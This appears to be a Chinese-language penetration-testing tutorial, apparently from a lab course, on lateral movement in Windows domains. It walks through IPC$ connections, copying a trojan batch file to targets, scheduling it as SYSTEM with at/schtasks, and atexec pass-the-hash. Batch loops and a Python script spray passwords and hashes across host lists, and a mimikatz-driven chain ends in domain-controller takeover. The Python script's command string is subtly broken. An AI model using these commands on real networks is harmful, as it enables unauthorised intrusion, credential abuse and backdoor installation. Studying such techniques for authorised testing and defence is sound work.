image-20220309210002253

横向渗透明文传递at&schtasks

at&schtasks命令,可以在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。

利用思路

获取到某域主机权限->minikatz得到密码(明文,hash)->用到信息收集域用户的列表当做用户名字典->用到密码明文当做密码字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

利用流程

  1. 建立IPC链接到目标主机
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
  4. 删除IPC链接

IPC

(Inter Process Connection)共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获取相应权限,通常在远程管理计算机和查看计算机的共享资源时使用

通过ipc$可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器只能够的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息

IPC相关操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 连接工作组内主机
net use \\IP\ipc$"密码" /user:用户名

# 连接域内主机
net use \\IP\ipc$"密码" /user:域名\用户名

# 查看文件列表(C盘)
dir \\IP\C$\

# 下载文件
copy \\IP\C$\1.bat 1.bat

# 复制文件
copy 1.bat \\IP\C$

# 删除IPC
net use \\IP\C$\1.bat /del

# 查看对方共享
net view IP

建立IPC常见的错误代码

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

(2)51:网络问题,Windows无法找到网络路径

(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题

(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$

(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立ipc$,需要先删除

(6)1326:账号密码错误

(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况

(8)2242:用户密码过期,目标有账号策略,强制定期更改密码

建立IPC失败的原因

(1)目标系统不是NT或以上的操作系统

(2)对方没有打开ipc$共享

(3)对方未开启139、445端口,或者被防火墙屏蔽

(4)输出命令、账号密码有错误

at&schtasks使用

版本 < win2012 使用at

1
2
3
4
5
6
7
8
# 建立ipc连接
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator

# 拷贝执行文件(木马)到目标机器
copy add.bat \\192.168.3.21\c$

# 添加计划任务
at \\192.168.3.21 23:50 c:\add.bat

版本 >= win2012 使用schtasks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 建立ipc连接
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
# 注意这里如果连接域用户可能会因权限不够导致之后拷贝文件不成功,所以这里连接的是本地administrator


# 复制文件(木马)到其C盘
copy add.bat \\192.168.3.32\c$

# 创建adduser任务对应执行文件
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F

# 运行adduser任务
schtasks /run /s 192.168.3.32 /tn adduser /i

# 删除adduser任务
schtasks /delete /s 192.168.3.21 /tn adduser /f

横向渗透明文、Hash传递-atexec(来自impacket网络协议工具包)

之前的at和schtasks只能传明文,传递密文使用atexec(这个工具还带有提权,whoami返回system),但这个是第三方文件,需要做免杀

1
2
3
4
5
6
7
8
9
10
11
12
13
# 使用
atexec.exe ./用户名:密码@IP "命令"

atexec.exe 域名/用户名:密码@IP "命令"

atexec.exe -hashes 密码的hash值 ./用户名@IP "命令"

# 例如
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"

atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"

atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

横向渗透明文、Hash传递批量利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# win自带命令+net use
FOR /F %%i in (IP.txt) do net use \\%%i\ipc$"密码" /user:用户名

FOR /F %%i in (ip.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator

# win自带命令+atexec
## 批量检测多IP对应一明文
FOR /F %%i in (IP.txt) do atexec.exe ./用户名:密码@%%i "命令]"

FOR /F %%i in (ip.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami

## 批量检测多明文对应一IP
FOR /F %%i in (pass.txt) do atexec.exe ./用户名:%%i@IP "命令"

FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami

## 批量检测多HASH对应一IP
FOR /F %%i in (hash.txt) do atexec.exe -hashes %%i ./用户名@IP "命令"

FOR /F %%i in (hash.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.21 whoami

攻击流程(已有一台服务器权限)

  1. 使用mimikatz获取密码(明文+密文)

    image-20220310002315030

    得到密码,并作记录

    image-20220310002349383

  2. 用自带命令探针同网段下存活主机

    image-20220310002735038

  3. 使用自带语法+atexec,批量检测多ip对应一明文。这里将ip都存放在同一文件内,执行如下bat文件

    image-20220310003002026

  4. 执行完后,探针到另一台服务器也有相同密码

    image-20220310003127002

  5. 如法炮制,在新地址上传mimikatz获取新密码,密码字典+1芜湖

image-20220310003404796

  1. 再故技重施,用新密码重新完成步骤3的工作,成功得到域控的权限,到此基本结束

    image-20220310003652617

注意:真实环境不会这么快这么简单,但思路差不多

横向渗透明文、Hash传递批量利用-升级版

考虑到前文的批处理只有一个变量,导致检测效率很低,所以我们选择python来写,将用户名、密码、ip地址都定义为变量提高效率,还可以使用多线程

利用py脚本制作的exe文件批量尝试横向渗透

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# 利用代码
'''
1.安装pyinstaller
pip install pyinstaller

2.生成可执行EXE
Pyinstaller -F py文件

3.会生成一个同名的exe文件
'''

import os, time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.33'
}

users={# 通过net user /domain收集
'Administrator',
'mary',
'webadmin'
}

passs={
'admin',
'admin!@#45',
'Admin12345'
}

for ip in ips:
for user in users:
for pas in passs:
exec="net use \\"+"\\"+ip+"\ipc$"+pas+"/user:god\\"+user
print('--->'+exec+'<---')
os.system(exec)
time.sleep(1)

资源

impacket-examples-windows

参考

小迪安全

域内横向移动_ipc$_命令_目标